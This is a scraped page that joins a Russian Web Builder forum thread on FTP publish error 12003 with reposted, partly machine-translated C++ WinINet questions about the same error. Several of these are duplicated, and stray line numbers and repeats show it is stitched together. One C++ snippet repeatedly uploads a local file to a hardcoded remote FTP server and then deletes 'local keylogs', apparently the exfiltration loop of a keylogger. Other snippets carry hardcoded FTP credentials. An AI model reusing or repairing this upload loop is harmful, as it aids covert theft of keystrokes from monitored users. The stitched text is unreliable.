Ошибка файловой системы 12003 ftp

Правила форума
1. Название темы должно кратко описывать суть вашего вопроса, темы типа: «Помогите», «Почему», «Что это», «Что-то глючит» — будут удаляться.
2. Задавая свой вопрос, постарайтесь предоставить максимум информации о проблеме, если есть возможность, приложите шаблон проекта *.wtp.
Подробнее: Правила создания новых тем и ответов на существующие темы.
Данный форум — это место обсуждения вопроса, а не техподдержка в классическом смысле. Все участники форума Web Builder по-русски с удовольствием вам помогут, если это будет в их силах.

Alex42421

Ошибка 12003

Сообщение Alex42421 » 13 ноя 2013, 23:53

Добрый вечер. Не могу опубликовать свой сайт. Ранее его создал на программе веб билдер и ранее успешно опубликовывал, но буквально вчера в полночь при моей попытке опубликовать сайт стало выдавать следующую ошибку ( посоветуйте что делать ):

13/11/2013 23:48:39.580 *** START OF PUBLISH ***
13/11/2013 23:48:39.584 Scanning publish folder…
13/11/2013 23:48:39.595 Found 60 file(s).
13/11/2013 23:48:39.596 Initializing FTP connection…
13/11/2013 23:48:39.607 Checking host…
13/11/2013 23:48:39.662 Host was successfully parsed.
13/11/2013 23:48:39.662 Connecting to server75.hosting.reg.ru…
13/11/2013 23:48:39.663 Using PASV mode.
13/11/2013 23:48:39.778 Succesfully connected.
13/11/2013 23:48:39.784 Current directory is ‘/’
13/11/2013 23:48:39.784 Setting remote folder to www/allforflowers5.ru…
13/11/2013 23:48:39.800 INFO: 550 Create directory operation failed.
13/11/2013 23:48:39.801 Uploading ‘callback.php’…
13/11/2013 23:48:39.911 Successfully uploaded file.
13/11/2013 23:48:39.913 Uploading ‘countdown_hours.html’…
13/11/2013 23:48:40.085 Internet Exception Error 12003
Details:
Сервер вернул расширенные сведения. 226 Transfer complete.
200 Switching to Binary mode.
13/11/2013 23:48:40.090 Closing FTP connection…
13/11/2013 23:48:40.093 Removing temporary files…
13/11/2013 23:48:40.138 Publish failed!
13/11/2013 23:48:40.140 *** END OF PUBLISH ***


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5215
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 14 ноя 2013, 14:27

FTP сервер недоступен

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: @HTMLPLUSRU
==============


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 14:28

и что с этим можно сделать???


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5215
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 14 ноя 2013, 14:33

Alex42421 писал(а):и что с этим можно сделать???

проблема либо на вашей стороне, либо на стороне рег ру
если на вашей, то нужно проверить или заново настроить соединение
ввести заново параметры соединения с ftp и поставить внизу галочку!
Изображение
а вместо хоста написать IP адрес сервере где лежит ваш сайт
ip можно узнать из присланных настроек хостинга или пропинговать ваш сайт

возможна проблема у рег ру
тогда пишите в поддержку

и попробуйте соединиться с сервером через сторонний ftp клиент

Последний раз редактировалось anonimus 14 ноя 2013, 14:37, всего редактировалось 4 раза.

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: @HTMLPLUSRU
==============


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 14:34

Спасибо, сейчас попробую.


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 14:48

настроил заново соединение, к сожалению безуспешно, выходит всё та же ошибка….


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5215
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 14 ноя 2013, 15:30

ПОПРОБУЙТЕ ДРУГОЙ фтп клиент, мы так выясним где проблема

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: @HTMLPLUSRU
==============


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 16:35

это значит другой домен и хостинг приобрести?


Аватара пользователя

Alex

Admin
Admin
Сообщения: 3160
Зарегистрирован: 06 фев 2012, 00:03
Версия Web Builder: 14.2.2
Имя: Алексей
Контактная информация:

Re: Ошибка 12003

Сообщение Alex » 14 ноя 2013, 17:17

Пробуйте winsock:
Изображение

Онлайн-магазин готовых решений
В личке принимаю, только по техническим вопросам! На вопросы по программе в личке не отвечаю!


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 14 ноя 2013, 22:59

нет, 7 винда и у меня такой штуки напротив тайм аута нет…. у меня 9 билдер


Аватара пользователя

Alex

Admin
Admin
Сообщения: 3160
Зарегистрирован: 06 фев 2012, 00:03
Версия Web Builder: 14.2.2
Имя: Алексей
Контактная информация:

Re: Ошибка 12003

Сообщение Alex » 15 ноя 2013, 07:21

Обновляйся.

Онлайн-магазин готовых решений
В личке принимаю, только по техническим вопросам! На вопросы по программе в личке не отвечаю!


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 17 ноя 2013, 00:36

то есть 8 винду ставить??


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5215
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 17 ноя 2013, 00:41

Alex42421 писал(а):то есть 8 винду ставить??

тут кто-то обсуждал винду? :-):
билдер последний ставьте

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: @HTMLPLUSRU
==============


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 17 ноя 2013, 22:44

уже обновился сейчас попробую


Alex42421

Re: Ошибка 12003

Сообщение Alex42421 » 17 ноя 2013, 22:56

Ребята, спасибо, всё заработало.


Serega344

Re: Ошибка 12003

Сообщение Serega344 » 12 дек 2013, 19:52

Вечер добрый. Впервые пытаюсь опубликовать сайт. Но вылетает ошибка. Как быть? Помогите…

*** START OF PUBLISH ***
Scanning publish folder…
Found 14 file(s).
Initializing FTP connection…
Checking host…
Host was successfully parsed.
Connecting to mybiz.esy.es…
Using PASV mode.
Succesfully connected.
Current directory is ‘/public_html’
Setting remote folder to /public_html…
Succesfully created folder ‘images’…
Uploading ‘images/62444.jpg’…
Successfully uploaded file.
Uploading ‘images/img0002.png’…
Internet Exception Error 12003

Details:
Сервер вернул расширенные сведения.
226-File successfully transferred
226 0.632 seconds (measured here), 62.49 Kbytes per second
200 TYPE is now 8-bit binary

Closing FTP connection…
Removing temporary files…
Publish failed!
*** END OF PUBLISH ***


Аватара пользователя

Alex

Admin
Admin
Сообщения: 3160
Зарегистрирован: 06 фев 2012, 00:03
Версия Web Builder: 14.2.2
Имя: Алексей
Контактная информация:

Re: Ошибка 12003

Сообщение Alex » 12 дек 2013, 21:01

Онлайн-магазин готовых решений
В личке принимаю, только по техническим вопросам! На вопросы по программе в личке не отвечаю!


superuzurpator

Re: Ошибка 12003  [РЕШЕНО]

Сообщение superuzurpator » 15 дек 2013, 21:22

Помогите, пожалуйста. Та же проблема. Раньше все выгружал без проблем. Настроек компа не менял, web builder в списке разрешенных программ фаервола.

Скажите, пожалуйста, а других методов, кроме обновления web builder не существует? Я только пару месяцев назад его приобретал, не хочется тратиться…


Аватара пользователя

anonimus

Moderator
Moderator
Сообщения: 5215
Зарегистрирован: 12 июн 2012, 07:12
Версия Web Builder: 12.0.2
Имя: Анатолий Webmaster
Контактная информация:

Re: Ошибка 12003

Сообщение anonimus » 15 дек 2013, 21:27

superuzurpator писал(а):Помогите, пожалуйста. Та же проблема. Настроек компа не менял, web builder в списке разрешенных программ фаервола.

Скажите, пожалуйста, а других методов, кроме обновления web builder не существует? Я только пару месяцев назад его приобретал, не хочется тратиться…

что за бред?
9 версия вышла гораздо ранее и если вы её купили, то кто вам мешает обновиться?

Подключение формы обратной связи Wysiwyg Web Builder к телеграмму (заявки будут приходить на почту и в телегу, даже с прикреплёнными файлами и картинками)
**** Аудит ваших проектов (сайтов) на предмет ошибок и различного рода проблем! ****
>>> Ускорение загрузки ваших сайтов >>>
Консультации по WebBuilder, обучение эффективной и главное правильной работе в программе Wysiwig Web Builder.
Решение проблем с вашими проектами, разработка структуры сайта и его функционала, адаптация и оптимизация под мобильные тел и планшеты.
Создание и дизайн сайтов, решение проблем с готовыми сайтами, прочие работы в интернете (домены, хостинг и т.п.)
Оптимизация сайта под продвижение в поисковых системах ( seo )
==============
Более подробное описание услуг https://wysiwygwebbuilder.ru/forum/viewtopic.php?f=54&t=975
Емаil: mailrobot@wwbmaster.ru
Telegram: @HTMLPLUSRU
==============


Аватара пользователя

Alex

Admin
Admin
Сообщения: 3160
Зарегистрирован: 06 фев 2012, 00:03
Версия Web Builder: 14.2.2
Имя: Алексей
Контактная информация:

Re: Ошибка 12003

Сообщение Alex » 15 дек 2013, 21:52

superuzurpator писал(а):Скажите, пожалуйста, а других методов, кроме обновления web builder не существует? Я только пару месяцев назад его приобретал, не хочется тратиться…

В пределах 9ой версии обновитесь бесплатно, качайте здесь

viewtopic.php?f=6&t=1398#p8678

и обновляйтесь без всяких оплат!

Онлайн-магазин готовых решений
В личке принимаю, только по техническим вопросам! На вопросы по программе в личке не отвечаю!



Вернуться в «Предварительный просмотр и публикация.»

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и 0 гостей

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// srtghju.cpp: определяет точку входа для консольного приложения.
//
 
#include "stdafx.h"
#include <windows.h>
#include <wininet.h>
#include <iostream>
using std::cout;
using std::cin;
using std::endl;
 
 
 
#pragma comment (lib, "wininet.lib")
 
void download(LPCWSTR server, LPCWSTR login, LPCWSTR pass, LPCWSTR local_file, LPCWSTR remote_file)
{
     int er=0;
     
    HINTERNET hOpen, hConnection;
 
    hOpen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
 
    hConnection = InternetConnectW(hOpen, server, 21, login, pass, INTERNET_SERVICE_FTP, 0, 0 );
 
 FtpGetFileW(hConnection, local_file, remote_file, true, 0, FTP_TRANSFER_TYPE_UNKNOWN, 0);
 
 er = GetLastError();
 
       // cout << "Success Story" << endl;
  //  else
 
        cout << "Epic Fail!   " <<er<< endl;
 
    InternetCloseHandle(hConnection);
    InternetCloseHandle(hOpen);
}
 
int _tmain(int argc, _TCHAR* argv[])
{
download(L"ftp.eimb.ru", NULL, NULL, L"COMP430D.exe", L"COMP430D.exe");
    system("pause");
    return 0;
}

Hello and good evening ,

This is centered for FTP File upload using C++. I have been trying to upload an FTP File and i get Error 12003 been searching out on the web, i havent seen anything useful.. seems annoying.

My code looks like this

  #include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>

#pragma comment (lib, "wininet.lib")

int main()
{
    HINTERNET hInternet;
    HINTERNET hFtpSession;

    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if(!hInternet)
    {
        printf("Error : %dn",GetLastError());
    }

    hFtpSession = InternetConnect(hInternet, "myohyip8.5gbfree.com", INTERNET_DEFAULT_FTP_PORT, "myohyip8", "WxqHjNGv", INTERNET_SERVICE_FTP, 0, 0);

    if(!hFtpSession)
    {
        printf("Error : %dn",GetLastError());
    }

    if (!FtpPutFile(hFtpSession, "C:ivan.txt", "myivan.txt", FTP_TRANSFER_TYPE_BINARY, 0))
                {
                    printf("Error : %dn", GetLastError());
                }
        else{
            printf("File Upload Successful :)n");
            }
        InternetCloseHandle(hFtpSession);
       InternetCloseHandle(hInternet);

        system("PAUSE");
    return 0;
}

This has been giving me worries, i dont have a single Idea on where to go from here , seems to me like a file system error.

Hello and good evening ,

This is centered for FTP File upload using C++. I have been trying to upload an FTP File and i get Error 12003 been searching out on the web, i havent seen anything useful.. seems annoying.

My code looks like this

  #include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>

#pragma comment (lib, "wininet.lib")

int main()
{
    HINTERNET hInternet;
    HINTERNET hFtpSession;

    hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if(!hInternet)
    {
        printf("Error : %dn",GetLastError());
    }

    hFtpSession = InternetConnect(hInternet, "myohyip8.5gbfree.com", INTERNET_DEFAULT_FTP_PORT, "myohyip8", "WxqHjNGv", INTERNET_SERVICE_FTP, 0, 0);

    if(!hFtpSession)
    {
        printf("Error : %dn",GetLastError());
    }

    if (!FtpPutFile(hFtpSession, "C:ivan.txt", "myivan.txt", FTP_TRANSFER_TYPE_BINARY, 0))
                {
                    printf("Error : %dn", GetLastError());
                }
        else{
            printf("File Upload Successful :)n");
            }
        InternetCloseHandle(hFtpSession);
       InternetCloseHandle(hInternet);

        system("PAUSE");
    return 0;
}

This has been giving me worries, i dont have a single Idea on where to go from here , seems to me like a file system error.

Я исследовал эту проблему в течение последних 3 дней, по 8-10 часов в день. Я пытался сделать много других способов загрузки файлов, я пробовал другие библиотеки и т. Д. Но я ничего не могу понять.

Он работает на 100% в последней версии Windows 8.1, но когда я тестирую его в Windows 7 или более ранней версии, я получаю ошибку 12003 при использовании FtpPutFile.

Любая другая функция WinINet FTP работает на всех версиях Windows, кроме FtpPutFile.

Я гуглил эту тему как минимум в течение 24 часов. (В прямом смысле)

У меня было много разных теорий, я проверил их все, и ничего не получалось.

Я подумал, может быть, это разбор имени файла / папки. Так что я возился с этим, нет. Не сработало

Я подумал, может быть, это проблема с брандмауэром, я запустился от имени администратора и отключил брандмауэр, нет.

Я пробовал множество других вещей .. Ничего не помогло.

Вот мой код Я использую Visual Studio Express 2013.

#include "stdafx.h"using namespace std;
#include <iostream>
#include <istream>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <stdio.h>
#include <ctype.h>
#include <conio.h>
#include <time.h>
#include <wininet.h>
#include <fstream>
#include <direct.h>
#include <tchar.h>
#include <ctime>
#include <sstream>
#pragma comment (lib, "urlmon")
#pragma comment(lib, "Wininet")

void main(){
while (1){
void send();
send();
Sleep(10000);
}
}

void send(){
void FileSubmit();
FileSubmit();
}

void FileSubmit()
{
bool folderExists(string str);
cout << "Sending file..." << endl;
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
cout << "Error: " << GetLastError() << endl;
cout << InternetGetLastResponseInfo << endl;
}
else
{
hFtpSession = InternetConnect(hInternet, "cloud9ips.com", INTERNET_DEFAULT_FTP_PORT, "ftptest@cloud9ips.com", "Pass123", INTERNET_SERVICE_FTP, 0, 0);
if (hFtpSession == NULL)
{
cout << "Error: " << GetLastError() << endl;
cout << InternetGetLastResponseInfo << endl;
}
else
{
string folder_path = "/testfolder/";
string file_name = "testfile.txt";
cout << "file_name: " << file_name << endl;
cout << "folder_path: " << folder_path << endl;
if (!folderExists(folder_path)){
if (FtpCreateDirectory(hFtpSession, folder_path.c_str())){
cout << "Created folder for IP " + folder_path << endl;
}
else {
cout << "Error creating folder " + folder_path << endl;
}
}
else {
cout << "Folder already exists" << endl;
}
BOOL SetDir = FtpSetCurrentDirectory(hFtpSession, folder_path.c_str());
if (SetDir){
cout << "Set directory to " << folder_path << endl;
}
else {
cout << "Failed to set directory to " << folder_path << endl;
}
BOOL Rename = FtpRenameFile(hFtpSession, "testfile.txt", "new.txt");
if (Rename){
cout << "Successfully renamed testfile.txt to new.txt" << endl;
}
else {
cout << "Failed to rename file" << endl;
}
BOOL Transfer = FtpPutFile(hFtpSession, "C://folder/file.txt", file_name.c_str(), FTP_TRANSFER_TYPE_BINARY, 0);
if (!Transfer)
{
cout << "Failed to send file." << endl;
cout << "Error: " << GetLastError() << endl;
cout << "Response Info: " << InternetGetLastResponseInfo << endl;
}
else {
cout << "Successfully sent file." << endl;
}
cout << "Closing FTP Session" << endl;
InternetCloseHandle(hFtpSession); // Close hFtpSession
}
}
cout << "Closing connection" << endl;
InternetCloseHandle(hInternet); // Close hInternet
cout << "Removing local keylogs..." << endl;
remove("C://system/sys.txt");
cout << "Done!" << endl;
}

bool folderExists(string folder){
IStream* pStream = NULL;
string url = "http://cloud9ips.com/ftpadmin/" + folder + "/";
URLOpenBlockingStream(0, url.c_str(), &pStream, 0, 0);
if (!pStream)
return false;
pStream->Release();
return true;
}

Я делаю что-то неправильно?

Я включил информацию об учетной записи FTP внутри кода, так что вы можете проверить ее, если хотите.

Я посмотрел все, я не могу понять это ..

Если бы вы могли помочь, я был бы очень признателен.

Спасибо, Алекс Бенуа.

0

Решение

Это ошибка пути, а не из-за INTERNET_FLAG_PASSIVE флаг.

Мое решение ниже:

pFtpConnection->SetCurrentDirectory(yourpath);

Если путь yourpath не существует, сначала создайте путь;
затем

pFtpConnection->PutFile(localFullFileName,sRemoteFile);

0

Другие решения

Других решений пока нет …

У нас есть фрагмент кода для загрузки/выгрузки и списка файлов на ftp-сервере. Он использует WinInet для обработки команд FTP. Работает нормально уже несколько лет. Однако в Windows 8.1 и в Windows 7 с IE 11 один и тот же код иногда возвращает ошибку 12003. В логах ftp-сервера ошибок нет.

Простая функция используется для проверки наличия ошибок в FTP-ответе.

bool IsLastErrorReallyAnError()
{
 int err = GetLastError();

 bool isError = true;

 if (err == ERROR_INTERNET_EXTENDED_ERROR)
 {
     isError = false;
     DWORD error, size = 0;
    ::InternetGetLastResponseInfo(&error, NULL, &size);
    std::vector<wchar_t> response(size+1);
    ::InternetGetLastResponseInfo(&error, &response[0], &size);

    utils::trace("Backup", "Checking FTP respose", &response[0]);

    std::vector<std::wstring> lines;
    boost::split(lines, std::wstring(&response[0]), boost::is_any_of(L"n"));

    for (auto it = lines.cbegin(); it != lines.cend(); ++it)
    {
        // If some response starts with 5хх then it is real error
        if (boost::starts_with(*it,L"5"))
        {
            utils::trace("Backup", "Real FTP error", &((*it)[0]));
            isError = true;
            break;
        }
    }

    if (!isError)
    {
        utils::trace("Backup", "Checking FTP respose ", L"false error!");
    }
 }

 return isError;
}

И в логах нашей программы получаем

05:56:43.680    0x21c   ERR CFtpFileSystem  CFtpFileSystem::TryOpenBinaryFile: FtpOpenFileW error 12003
05:56:43.680    0x21c   INF Backup  Checking FTP respose: 226 Transfer OK
200 Type set to I

05:56:43.680    0x21c   INF Backup  Checking FTP respose : false error!

В журналах FTP-сервера (у него другой часовой пояс):

(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> Connected, sending welcome message...
(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> 220-FileZilla Server version 0.9.41 beta
(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> 220-written by Tim Kosse (Tim.Kosse@gmx.de)
(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> 220 Please visit http://sourceforge.net/projects/filezilla/
(000445)30.10.2013 16:56:29 - (not logged in) (10.16.83.3)> USER test
(000445)30.10.2013 16:56:29 - (not logged in) (10.16.83.3)> 331 Password required for test
(000445)30.10.2013 16:56:35 - (not logged in) (10.16.83.3)> PASS ****
(000445)30.10.2013 16:56:35 - test (10.16.83.3)> 230 Logged on
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> TYPE I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 200 Type set to I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> PASV
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 227 Entering Passive Mode (10,16,82,191,238,169)
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> STOR /srv-test/0f0c04cc-c323-4bb6-a814-696fbbd695c3/527101B9/ab42ed5a-7df0-4421-a03c-d9f75891dcbf
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 150 Connection accepted
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 226 Transfer OK
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> TYPE I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 200 Type set to I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> PASV
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 227 Entering Passive Mode (10,16,82,191,238,170)
(000445)30.10.2013 16:56:56 - test (10.16.83.3)> disconnected.

Любые идеи, как настроить версию wininet, которая поставляется с IE11, чтобы избавиться от таких ошибок?

Привет и хороший вечер,

Это связано с загрузкой файла FTP с помощью C++. Я пытаюсь загрузить файл FTP, и я получаю Error 12003, который ищет в Интернете, я не видел ничего полезного.. кажется раздражающим.

Мой код выглядит так:

  #include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>

#pragma comment (lib, "wininet.lib")

int main()
{
HINTERNET hInternet;
HINTERNET hFtpSession;

hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if(!hInternet)
{
printf("Error : %dn",GetLastError());
}

hFtpSession = InternetConnect(hInternet, "myohyip8.5gbfree.com", INTERNET_DEFAULT_FTP_PORT, "myohyip8", "WxqHjNGv", INTERNET_SERVICE_FTP, 0, 0);

if(!hFtpSession)
{
printf("Error : %dn",GetLastError());
}

if (!FtpPutFile(hFtpSession, "C:ivan.txt", "myivan.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
printf("Error : %dn", GetLastError());
}
else{
printf("File Upload Successful :)n");
}
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);

system("PAUSE");
return 0;
}

Это беспокоило меня, у меня нет единой идеи о том, куда идти отсюда, кажется мне ошибкой файловой системы.

У нас есть фрагмент кода для загрузки / выгрузки и вывода списка файлов на ftp-сервере. Он использует WinInet для обработки команд FTP. Работает нормально уже несколько лет. Однако в Windows 8.1 и в Windows 7 с IE 11 один и тот же код иногда возвращает ошибку 12003. В журналах ftp-сервера ошибок нет.

Простая функция используется для проверки наличия ошибок в FTP-ответе

bool IsLastErrorReallyAnError()
{
 int err = GetLastError();

 bool isError = true;

 if (err == ERROR_INTERNET_EXTENDED_ERROR)
 {
     isError = false;
     DWORD error, size = 0;
    ::InternetGetLastResponseInfo(&error, NULL, &size);
    std::vector<wchar_t> response(size+1);
    ::InternetGetLastResponseInfo(&error, &response[0], &size);

    utils::trace("Backup", "Checking FTP respose", &response[0]);

    std::vector<std::wstring> lines;
    boost::split(lines, std::wstring(&response[0]), boost::is_any_of(L"n"));

    for (auto it = lines.cbegin(); it != lines.cend(); ++it)
    {
        // If some response starts with 5хх then it is real error
        if (boost::starts_with(*it,L"5"))
        {
            utils::trace("Backup", "Real FTP error", &((*it)[0]));
            isError = true;
            break;
        }
    }

    if (!isError)
    {
        utils::trace("Backup", "Checking FTP respose ", L"false error!");
    }
 }

 return isError;
}

И в логах нашей программы получаем

05:56:43.680    0x21c   ERR CFtpFileSystem  CFtpFileSystem::TryOpenBinaryFile: FtpOpenFileW error 12003
05:56:43.680    0x21c   INF Backup  Checking FTP respose: 226 Transfer OK
200 Type set to I

05:56:43.680    0x21c   INF Backup  Checking FTP respose : false error!

В журналах FTP-сервера (у него другой часовой пояс):

(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> Connected, sending welcome message...
(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> 220-FileZilla Server version 0.9.41 beta
(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> 220-written by Tim Kosse (Tim.Kosse@gmx.de)
(000445)30.10.2013 16:56:23 - (not logged in) (10.16.83.3)> 220 Please visit http://sourceforge.net/projects/filezilla/
(000445)30.10.2013 16:56:29 - (not logged in) (10.16.83.3)> USER test
(000445)30.10.2013 16:56:29 - (not logged in) (10.16.83.3)> 331 Password required for test
(000445)30.10.2013 16:56:35 - (not logged in) (10.16.83.3)> PASS ****
(000445)30.10.2013 16:56:35 - test (10.16.83.3)> 230 Logged on
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> TYPE I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 200 Type set to I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> PASV
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 227 Entering Passive Mode (10,16,82,191,238,169)
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> STOR /srv-test/0f0c04cc-c323-4bb6-a814-696fbbd695c3/527101B9/ab42ed5a-7df0-4421-a03c-d9f75891dcbf
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 150 Connection accepted
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 226 Transfer OK
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> TYPE I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 200 Type set to I
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> PASV
(000445)30.10.2013 16:56:43 - test (10.16.83.3)> 227 Entering Passive Mode (10,16,82,191,238,170)
(000445)30.10.2013 16:56:56 - test (10.16.83.3)> disconnected.

Есть идеи, как настроить версию wininet, которая поставляется с IE11, чтобы избавиться от таких ошибок?

2 ответа

Лучший ответ

К сожалению, это не проблема в вашем коде.

Это один из немногих случаев, когда вы действительно попадаете в совершенно новую, но серьезную проблему в обновленном WinInet, включенном в только что выпущенный IE 11. Он нарушит работу большинства FTP-приложений, использующих классы FTP от Microsoft для пользователей Win 7/8, которые обновляются. . Я рекомендую вам добавить себя в этот отчет об ошибке: https://connect.microsoft .com / IE / feedback / details / 808279 / ftpopenfile-and-internetwritefile-broken-changed-in-ie11. мы надеемся привнести в Microsoft некоторую срочность.

Подробности

Основная проблема, по-видимому, заключается в любом взаимодействии с FTP, когда WinInet зависит от конкретных ответов сервера. Он будет работать ПЕРВЫЙ раз в сеансе FTP, но после этого WinInet всегда отстает от одного ответа — таким образом, он никогда не видит правильные коды ответа, необходимые для обработки последующих запросов.

Пример

STOR в режиме PASV требует, чтобы WinInet проанализировал ответ сервера для открытого порта данных. При использовании FtpOpenFile () вторая загрузка завершится ошибкой (хотя кажется, что FtpPutFile работает, и возможен режим PORT).

Сопутствующие проблемы

Также есть сообщения о каких-либо более серьезных сбоях, чем самый первый сбой FtpRename — потому что после фрагмента RNFR WinInet ожидает определенного ответа перед отправкой фрагмента RNTO. Когда WinInet отстает, он никогда не увидит ПРЕДЫДУЩИЙ код ответа сервера, никогда не увидит код ответа сервера, которого он ожидает (хотя трассировки подтверждают, что сервер действительно его отправил).

Как воспроизвести

Это можно наблюдать с помощью InternetGetLastResponseInfo () после каждого вызова FTP API. После первой загрузки PASV с использованием FtpOpenFile () или первого Rename все последующие вызовы FTP API будут отображать ответ сервера на ПРЕДЫДУЩИЙ вызов FTP API.

(PS: я думал, что указал на эту ошибку вчера — нет никакого смысла пытаться «исправить» свой код, когда проблема связана с другими причинами. Но каким-то образом информация исчезает на следующий день. Надеюсь, люди найдут информацию на других сайтах, использующих Google.)


6

Andy Schmidt
24 Ноя 2013 в 02:35

